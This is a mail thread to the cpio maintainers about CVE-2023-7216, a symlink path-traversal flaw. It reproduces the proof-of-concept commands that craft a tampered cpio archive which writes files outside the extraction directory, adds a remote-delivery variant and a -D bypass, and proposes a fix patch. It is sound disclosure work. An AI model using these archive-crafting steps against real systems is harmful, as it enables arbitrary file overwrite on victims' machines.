Dear cpio maintainer:
        
    This is a Red Hat Community Report on 
CVE-2023-7216:https://bugzilla.redhat.com/show_bug.cgi?id=2249901
    
    CVE-2023-7216 can cause path traversal when opening a cpio 
archive, which can lead to malicious file overwrites of arbitrary directories.
    
    Redhat CVE-2023-7216's Poc can be reproduced using the 
following method:
    ```
    [root@localhost home]# mkdir testcpio
    [root@localhost home]# ln -sf /tmp/ testcpio/tmp
    [root@localhost home]# echo "TEST Traversal" > 
testcpio/tmpYtrav.txt
    [root@localhost home]# cd  testcpio/
    [root@localhost testcpio]# ls | cpio -ov > ../trav.cpio
    tmp
    tmpYtrav.txt
    1 block
    [root@localhost testcpio]# cd ..
    [root@localhost home]# sed -i s/"tmpY"/"tmp\/"/g trav.cpio
&nbsp;&nbsp; &nbsp;[root@localhost home]# cpio -i < trav.cpio
&nbsp;&nbsp; &nbsp;[root@localhost home]# cat /tmp/trav.txt
&nbsp;&nbsp; &nbsp;TEST Traversal
&nbsp;&nbsp; &nbsp;[root@localhost home]# cat tmp/trav.txt
&nbsp;&nbsp; &nbsp;TEST Traversal
&nbsp;&nbsp; &nbsp;```
&nbsp;&nbsp; &nbsp;Based on my understanding of the POC and analysis of 
CVE-2023-7216, I constructed two more POC scenarios.

&nbsp;&nbsp; &nbsp;The POC1 can be reproduced using the following 
methods:&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; Machine A can use the tampered trav.cpio 
file to overwrite any file on machine B, which may lead to remote command 
execution.
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; ``` Machine A
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhostA home]# mkdir testcpio
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhostA home]# ln -sf /tmp/ 
testcpio/tmp
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhostA home]# echo "TEST 
Traversal" &gt; testcpio/tmpYtrav.txt
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhostA home]# cd&nbsp; testcpio/
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhostA testcpio]# ls | cpio -ov 
&gt; ../trav.cpio
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; tmp
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; tmpYtrav.txt
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 1 block
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost testcpio]# cd ..
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# sed -i 
s/"tmpY"/"tmp\/"/g trav.cpio
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; ```
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; Assume that machine A transfers files to 
machine B through scp or other file transfer methods. CVE-2023-7216 is 
triggered when Machine B opens trav.cpio
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; ```Machine B
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhostB home]# cpio -i < 
trav.cpio
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhostB home]# cat /tmp/trav.txt
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; TEST Traversal
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhostB home]# cat tmp/trav.txt
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; TEST Traversal
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; ```
&nbsp;&nbsp; &nbsp;Impact of POC1: This indicates that any cpio archive file 
that contains symlinks may cause security risks such as path traversal.


&nbsp;&nbsp; &nbsp;The POC2 can be reproduced using the following methods:
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; ```
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# mkdir testcpio
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# ln -sf /tmp/ 
testcpio/tmp
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# echo "TEST 
Traversal" &gt; testcpio/tmpYtrav.txt
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# cd&nbsp; testcpio/
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost testcpio]# ls | cpio -ov 
&gt; ../trav.cpio
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; tmp
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; tmpYtrav.txt
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 1 block
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost testcpio]# cd ..
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# mkdir dirA
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# sed -i 
s/"tmpY"/"tmp\/"/g trav.cpio 
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# cpio -i < 
trav.cpio -D /home/dirA
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# cat /tmp/trav.txt
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; TEST Traversal
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; [root@localhost home]# cat 
dirA/tmp/trav.txt
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; TEST Traversal
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; ```

&nbsp;&nbsp; &nbsp;Impact of POC2: When the -D option is used, the cpio file is 
expected to be decompressed in the specified directory. However, due to the 
impact of CVE-2023-7216, the file is also generated in the symlink directory, 
which is not as expected.Like CVE-2015-1197. When the --no-absolute-filenames 
option is used, the decompressed file should be generated in the current 
directory instead of the symlink directory.
&nbsp;&nbsp; &nbsp;First of all, I would like to discuss an issue with you, 
that is, when fixing CVE-2015-1197, the copy_link () function generates 
symlinks directly through the symlink () function if the 
--no-absolute-filenames option is not used when processing symlinks. This means 
that in this case, cpio allows writing files in arbitrary directories through 
symlinks. Is this what cpio was designed for?
&nbsp;&nbsp; &nbsp;I believe this design is the root cause of CVE-2023-7216. If 
you think this is a reasonable design, please let me know your reasons and 
provide a solution for CVE-2023-7216.
&nbsp;&nbsp; &nbsp;If you agree with me that cpio should not allow writing 
files in arbitrary directories through symlinks,then we can discuss my solution.
&nbsp;&nbsp; &nbsp;In my views, I don't think we can guarantee that the cpio 
archive does not contain any symlinks. We must handle each symlink as the same 
as the fix for CVE-2015-1197 during decompression. So I made a patch. I have 
attached the patch in the mail. If you have a better fix, please let me know.
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp; &nbsp;Look forward to your feedback and suggestions soon.
&nbsp;&nbsp; &nbsp;
Best Regards,
Peng
From 9cf2f601f9beec06b0e7b4fcf3f454195bff1b77 Mon Sep 17 00:00:00 2001 From: 
Peng <[email protected]&gt; Date: Thu, 29 Feb 2024 17:22:11 +0800 Subject: 
[PATCH] deafult use symlink_placeholder() to fix Path Traversal ---  
src/copyin.c | 26 +-------------------------  1 file changed, 1 insertion(+), 
25 deletions(-) diff --git a/src/copyin.c b/src/copyin.c index ace0a02..c454313 
100644 --- a/src/copyin.c +++ b/src/copyin.c @@ -789,31 +789,7 @@ copyin_link 
(struct cpio_file_stat *file_hdr, int in_file_des)        link_name = xstrdup 
(file_hdr-&gt;c_tar_linkname);      }   -  if (no_abs_paths_flag) -    
symlink_placeholder (link_name, file_hdr-&gt;c_name, file_hdr); -  else -    { 
-      res = UMASKED_SYMLINK (link_name, file_hdr-&gt;c_name, -                 
        file_hdr-&gt;c_mode); -      if (res < 0 &amp;&amp; create_dir_flag) -  
   { -       create_all_directories (file_hdr-&gt;c_name); -         res = 
UMASKED_SYMLINK (link_name, file_hdr-&gt;c_name, file_hdr-&gt;c_mode); -        
} -      if (res < 0) - symlink_error (link_name, file_hdr-&gt;c_name); -      
else if (!no_chown_flag) -       { -       uid_t uid = set_owner_flag ? 
set_owner : file_hdr-&gt;c_uid; -          gid_t gid = set_group_flag ? 
set_group : file_hdr-&gt;c_gid; -          if (lchown (file_hdr-&gt;c_name, 
uid, gid) < 0 &amp;&amp; errno != EPERM) -       chown_error_details 
(file_hdr-&gt;c_name, uid, gid); -      } - -      if (retain_time_flag) -      
set_file_times (-1, file_hdr-&gt;c_name, file_hdr-&gt;c_mtime, -                
        file_hdr-&gt;c_mtime, AT_SYMLINK_NOFOLLOW); -    } +  
symlink_placeholder (link_name, file_hdr-&gt;c_name, file_hdr);    free 
(link_name);  }   --  2.33.0



------------------&nbsp;Original&nbsp;------------------
From:                                                                           
                                             "Peng"                             
                                                       <[email protected]&gt;;
Date:&nbsp;Thu, Feb 29, 2024 07:02 PM
To:&nbsp;"bug-cpio"<[email protected]&gt;;"ntait"<[email protected]&gt;;"gray"<[email protected]&gt;;"mrehak"<[email protected]&gt;;

Subject:&nbsp;Re:Is there a fix for this CVE-2023-7216?



Dear cpio maintainer: 
                 
        This is a Red Hat Community Report on 
CVE-2023-7216:https://bugzilla.redhat.com/show_bug.cgi?id=2249901 
         
        CVE-2023-7216 can cause path traversal when opening a cpio archive, 
which can lead to malicious file overwrites of arbitrary directories. 
         
        Redhat CVE-2023-7216's Poc can be reproduced using the following 
method: 
        ``` 
        [root@localhost home]# mkdir testcpio 
        [root@localhost home]# ln -sf /tmp/ testcpio/tmp 
        [root@localhost home]# echo "TEST Traversal" &gt; testcpio/tmpYtrav.txt 
        [root@localhost home]# cd  testcpio/ 
        [root@localhost testcpio]# ls | cpio -ov &gt; ../trav.cpio 
        tmp 
        tmpYtrav.txt 
        1 block 
        [root@localhost testcpio]# cd .. 
        [root@localhost home]# sed -i s/"tmpY"/"tmp\/"/g trav.cpio 
        [root@localhost home]# cpio -i < trav.cpio 
        [root@localhost home]# cat /tmp/trav.txt 
        TEST Traversal 
        [root@localhost home]# cat tmp/trav.txt 
        TEST Traversal 
        ``` 
        First of all, I would like to confirm with you, do you accept 
CVE-2023-7216? Is CVE-2023-7216 a bug or is it the default behavior of cpio 
software?  
        If CVE-2023-7216 is a bug, I try to provide a fix patch. Of course, if 
there is a better fix, please point it out. 
         
        CVE-2023-7216 is similar to CVE-2015-1197,Both of them use symlink to 
cause Path Traversal.The CVE-2015-1197 fix uses symlink_placeholder () to fix a 
Path Traversal issue in the --no-absolute-filenames scenario.However, 
CVE-2023-7216 proves that path traversal also exists in other scenarios.  
         
        So I made a patch to fix CVE-2023-7216, copyin_link() should enable 
symlink_placeholder() by default, not only when the --no-absolute-filenames 
option is on. 
         
        Look forward to your feedback and suggestions soon. 
         
Best Regards, 
Peng 




------------------ Original ------------------
From:                                                                           
                                             "2773414454"                       
                                                             
<[email protected]&gt;;
Date:&nbsp;Tue, Feb 20, 2024 11:03 AM
To:&nbsp;"bug-cpio"<[email protected]&gt;;

Subject:&nbsp;Is there a fix for this CVE-2023-7216?



Dear cpio maintainer:


    https://nvd.nist.gov/vuln/detail/CVE-2023-7216 
    NVD does not provide any related patch information. 
 
    Is there a fix for cpio's CVE-2023-7216? 
      [1] If not, what is the repair plan for cpio? 
      [2] If yes, can you indicate which submissions fix CVE-2023-7216?


peng

Attachment: 0001-deafult-use-symlink_placeholder-to-fix-Path-Traversa.patch.txt
Description: Binary data

Reply via email to